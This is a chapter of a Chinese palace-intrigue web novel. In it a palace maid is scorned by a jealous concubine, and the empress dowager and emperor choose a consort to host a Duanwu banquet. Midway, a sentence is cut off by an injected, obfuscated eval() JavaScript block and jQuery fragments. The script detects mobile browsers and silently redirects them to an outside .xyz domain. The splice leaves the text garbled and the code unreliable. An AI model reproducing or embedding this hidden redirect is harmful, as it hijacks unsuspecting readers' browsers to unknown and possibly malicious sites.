徐得鹿说完就小碎步追着圣驾走了。
青簪起身,一手打伞,一手抱盒,那篮子水葫芦迫不得已挎去了臂弯上,袖子耷在青浸浸的叶片上,津湿的感觉阴冷缠人。
让人想到一个不好的夜晚。
还有随之而来的这么多棘手的麻烦。
如今人为刀俎,教人不知如何寻找转圜的余地。
她没有再多朝着圣驾离去的方向停留望送,经此耽搁,歇午的时间显得更不宽裕了,刚要提步回去,尖利的女声却在身后响起。
“站住!”
青簪其实行礼行得都有些厌烦了,麻木而机械地回身、低头、行礼:“主子有何指示?”
赵才人气势汹汹地走过来,目光扫过那篮子水葫芦,最终盯着她怀中的盒子道:“陛下给你的是什么?”
周宝林和袁选侍也跟了上来,一左一右站在赵才人身边,像两个助威的忠实护法。
青簪赶着回去,不欲与她们过分周旋,便拣着实话道:“陛下并不曾说里头是什么,只是让奴婢顺道送过去。”
赵才人微怔,看着低头保持行礼姿势的宫人,又问:“送哪儿去?”
青簪本不想在此时牵扯出杨美人的名字,但皇帝单独给了杨美人一盒玉料这事迟早也会传开。
便答:“湖莹阁。”
赵才人显然没想到会是这个答案。
杨氏,又是氏。
自册封以来,不、自从新秀入宫习礼,大家都还是秀女的时候,杨氏就仗着出身,得到了姑姑们的青眼,原本自己的家世也算出挑,只因被她盖了一头,竟就只能泯然于众人了。
昨夜杨氏又第一个侍寝,今早去紫泉殿自荐也抢先她一步……听说近来还在太后那儿两头讨好。她入宫的雄心壮志都快被杨氏毁掉了!
赵才人简直咬牙切齿,对杨美人的嫉恨不忿转嫁到青簪脸上,换为了一种更轻蔑的不善。
她毫无征兆地伸手,猝然抓过一小把青簪篮子中的水葫芦,又像是碰到了什么脏污的东西,连忙嫌弃地丢在了地上:“这也是杨美人要的?”
御前的宫人多是有品级的女官,服饰与六尚的女官更为接近,眼前这女子显然是在后妃宫苑当差的,赵才人便将青簪当做了杨美人宫中的人。
这一次,不必青簪答复,她就理所当然地如此认定。看了眼青簪篮子中码得整整齐齐、显然是要作观赏之用的水葫芦,出言嘲讽道:“真是什么低贱的花啊草啊都有人喜欢。”
许是皇帝之事的阴影在前,青簪解释了一句:“回主子的话,奴婢并非杨美人宫中的。”
可赵才人知道自己弄错了,也不见脸上表情变化:“管你是哪儿的。”
不过是个奴婢。
说完就立即踩着摔进水洼里的那些色嫩如染的狼藉绿枝,气势汹汹地过去了。
只有她身边的袁选侍,回头看了一眼在漫淌着雨水的甬道上恭送她们的女子,只见她头顶那一线伞檐压得极低,看不清面容。
既非杨氏宫中,又非御前之人,陛下何故独独挑了她去送玉料?
不过她很快被赵才人扯了下胳膊,威风劲过去之后,赵才人担心:“也不知道杨氏会不会对陛下吹枕头风,说我的不是!”
袁选侍便安慰:“杨美人的势头近来是盛了些,可赵姐姐才貌过人,又有郑修仪这层关系在,就算她日日吹枕边风,陛下却未必会偏听于她。无论如何,姐姐在陛下那儿,总不会埋没的。”
袁氏只是太学博士的女儿,出身不高,但脑子还算顶用,平日里也从不多话,赵才人才会愿意同她亲近,其中颇有将袁氏视为智囊的意思。
此刻一听便又放宽了心,只嘟囔了一声:“就我表姐那个人,连主理六宫的权力都握不住,也不知能不能指望上。”
青簪在她们走后蹲身下来,一枝一枝把水葫芦捡回了篮中。
宫人不能随意丢弃东西在外头,遗秽于道,杖刑十下。
远处,徐得鹿去而复返,原本是想提醒青簪一声,陛下今晚还约了几位大人议事,估摸着到凤藻宫也是用了晚膳便要回的,这样说也好让皇后娘娘提前有个心理准备——
更何况,陛下这次去凤藻宫想见的显然另有其人,想是不会在娘娘那儿待太久,只是这句他不能明着提醒罢了。
这会儿却是不好再上前说话了,只得回去把看见的这一幕报给了皇帝。
不为别的,就是想再次确认一番这宫女在陛下心里的分量。
虽这宫女显然是有几分特别的,可到底是一分还是两分?
皇帝波澜不起地迈下了銮驾,走入紫泉殿,就在徐得鹿以为自己猜错了的时候,就听见那道沉冷的声音。
“她这么好欺负?”
陛下听进去了。
紫泉殿内,太后让人去请皇帝之前,本已经初步拟定好了主办端午小宴的人选。
连嬷嬷看着名单上的名字:“这离您让奴婢把消息给出去才过了小半日呢,也只杨美人、赵才人、俞宝林三人来了,要不要再等等?”
响应的人尚还不多,岂不显得太后娘娘不够排面。
太后眼皮都没掀:“哀家自可以等她们,可这机会却不是次次都肯等人的。”
这么一说连嬷嬷就知道太后是主意已定:“是,奴婢明白了。这样看,这杨美人倒是个敢为人先的,还知道给您送山参,自己也争气。”
正说着,皇帝便来了,太后听到了他那句“好欺负”,没再继续和连嬷嬷交谈,转而颇为起兴地看向皇帝:“谁好欺负?”
皇帝只是行礼:“儿子给母后请安。”
太后见他不想说也不追问,就把纸上写好的两个名字拿给了他看:“原本呢这种小事也不必你过目,但哀家想着,好歹是你后宫的新人,你也要对她们多上点心才是。”
按照太后的意思,是择定了杨美人主办,赵才人从旁协助。
皇帝略扫一眼就撂开了:“让杨氏办罢。”
言下之意,赵才人就不必了。
太后却没想到皇帝竟当真有旁的意见,往前他在这些事上一向不多干涉。不禁挑眉:“看来杨氏是颇合你的心意。”
在太后看来,赵才人还不曾面圣侍寝,没道理教皇帝不喜,那就该是杨氏的原因。
皇帝没有否认,徐得鹿却有个揣测……
他朝皇帝不着痕迹地看了一眼。
此刻萧放心中所想,的确不是杨氏,而是一张淡极而艳的脸。
想到她撑伞在雨中,蹲下捡拾弱枝的样子,必定两相可怜。
连嬷嬷端了茶饮点心上来,插话道:“奴婢看赵才人和美人主子由来不睦,也不见得就会尽心辅佐。”
“你懂什么,杨氏来过紫泉殿几次,哀家是怕如此决定会有人说哀家偏私,往后个个尽想着在哀家这儿用功夫了。”这般说着,太后看的却始终是皇帝。
这便是连嬷嬷多嘴的用意所在了,看似是在帮着皇帝说话,实则又能让太后阐述想法,又避免了太后与陛下母子直接争辩的局面。
萧放却已回神,淡淡一笑:“偏私又如何,母后的私心所在,即为公道所在。”
太后一听就乐呵得笑了:“你这嘴,真要将哀家也哄糊涂了。”
遂拍板道:“依你依你,反正是你自个儿的后宫,就这般定了,晚点就让人去通知杨氏罢。”
其实杨美人在新秀里家世位份都是最高,近来又得太后喜欢,就算陛下未提不同意见,可明眼人一看也便知道,赵才人的名字放在一起,更像是个给杨美人打下手的添头。
连嬷嬷是见过杨美人和太后相处的情形的,太后一向不喜中宫,要不是因为永宁侯府对先帝有救命之恩,她怎么会容许一个金玉粉饰、却败絮其中之人当天家的儿媳。
但杨美人却不一样,杨氏嘴甜得和只小甜瓜似的,太后都没帮她美言,便自己争到了第一个侍寝的机会。
连嬷嬷也是真的想不通,为何太后要钦点两人同办。
皇帝走后,她便趁着太后午歇时陪在旁边说闲的机会,说道:“奴婢看这样也好,两人合办便少不了暗暗较劲,彼此必会在各自负
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875039|176265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
责的小项上一竞高下,想是不能当真同心齐力。”
太后也不瞒她:“赵氏性子确实比她表姐轻狂些,哀家如何不知。原本想着,若只让杨氏来办,就怕赵氏心有不甘,生出别的心思,杨氏失责事小,好好的节宴毁了事大,倒不如给赵氏一个光明正大竞争的机会。”
连嬷嬷领悟过味来:“娘娘圣明,让赵才人同样肩负办宴之责,便不可能设计捣乱坑害了自个儿。”
“就是赵才人——原没这个福气。”
太后笑倚在榻上,命人把皇后这个月来管理后宫庶务的记档拿过来看:“言之过早了。不过眼下看来,的确杨氏有福一些,王氏空得一个珍字号,却只通情情爱爱,娇蛮不能主事,师氏虽位在昭仪,却是个矜傲冷癖的,同样难堪大任。郑氏么……不够有野心。但愿杨氏得用罢,这小宴说小也不小,若办的好,来日提她协理六宫也是一笔履历,哀家也好享清福不是。”
*
青簪先去湖莹阁送完了玉料,没有进到里头去,只交给了门口的太监。太监笑得直合不拢嘴,一直把她送到关雎宫外:“先前就知道这玉料是娘娘们才有的,没想到竟也有我们美人的一份,且还是陛下特别吩咐的!就是太麻烦姑娘了。”
青簪怎么听怎么心虚,拎起了暂放在墙边的篮子:“公公快留步。陛下看重美人,奴婢只是顺道跑一趟,不麻烦。”
回到凤藻宫,已经来不及再用午饷,就连水葫芦也只放在了下房的院门口,把皇帝要来与皇后共进晚膳的消息告诉了正殿的宫女,青簪便回到了值岗上。
皇后午觉醒来,就听到这个从天而降的好消息,惊喜得腾地从榻上坐起:“本宫不是犹在做梦罢?”
锦玉刚想说两句熨帖的话,皇后便一把掐在了她的胳膊肉上,继而狠狠拧了个圈儿:“怎么样,疼不疼?”
“不疼……疼!娘娘,可疼了,您不是在做梦,陛下到底念着您呢。”锦玉开始下意识不敢喊疼,看见皇后面露不愉才急忙改口。
皇后可顾不上怜慰一个丫鬟,此时瞌睡醒了大半,趿鞋下地:“快,唤她们进来,本宫要梳洗打扮。”
锦玉抱着胳膊揉了又揉,她一向自问对自家主子赤心无二,可这时候也不免嫉妒起青簪来,凭什么她只需要在库房做事,自己却要日日在主子跟前提心吊胆……主子进宫之后,脾性越发大了,简直喜怒无常!
对,她怎么忘了青簪,她可不能让青簪太好过。
皇后见人没动,拢了拢丝锦的寝衣,瞪过去一眼:“还愣着做什么?传人啊。”
锦玉忙不迭传了人,又上前为皇后将珠鞋穿齐整了:“娘娘,还有件事……”
难得今日陛下来看她,皇后大度地没与人计较:“有话快说,何必吞吞吐吐的。”
锦玉靠近她,“陛下要过来的消息,是青簪递上来的。”
不用锦玉再多说,皇后便惊怒道:“怎么会是她?竟敢背着本宫——”
进来侍妆的一列宫人之中正有此前得了青簪的药膏的小宫女,起先不懂为何皇后如此生气,可转念一想,皇后娘娘似是总防着她们擅自和陛下接触,就连前殿留用的大多也是容色不太出众的宫人。
便忍着害怕出声道:“娘娘别气坏了身子,一会儿还要接驾呢。奴婢听说好像是回来的时候遇到了御前的人,御前的公公告知她的。”
为了减少不必要的麻烦,青簪上禀此事的时候的确刻意避开了皇帝不提,毕竟消息也确然是御前的公公说与她的。
小宫女呢,能在前殿待这么久,自也不是个蠢笨的,开口之时设法将自个儿的动机掩饰成了一门心思盼着皇后不要生气。
就算她还了那瓶药膏的恩情罢!
皇后面色果然缓和下来,反而寒凉地看了锦玉一眼。
何时她身边的左膀右臂,竟也不一心为主,用心不纯起来了。
锦玉的眼刀还没来得及斜到那小宫女头上,就自危地跪了下来:“奴婢不敢欺瞒娘娘!”
谁知皇后忽又笑了:“罢了,都一样,去把青簪叫来。”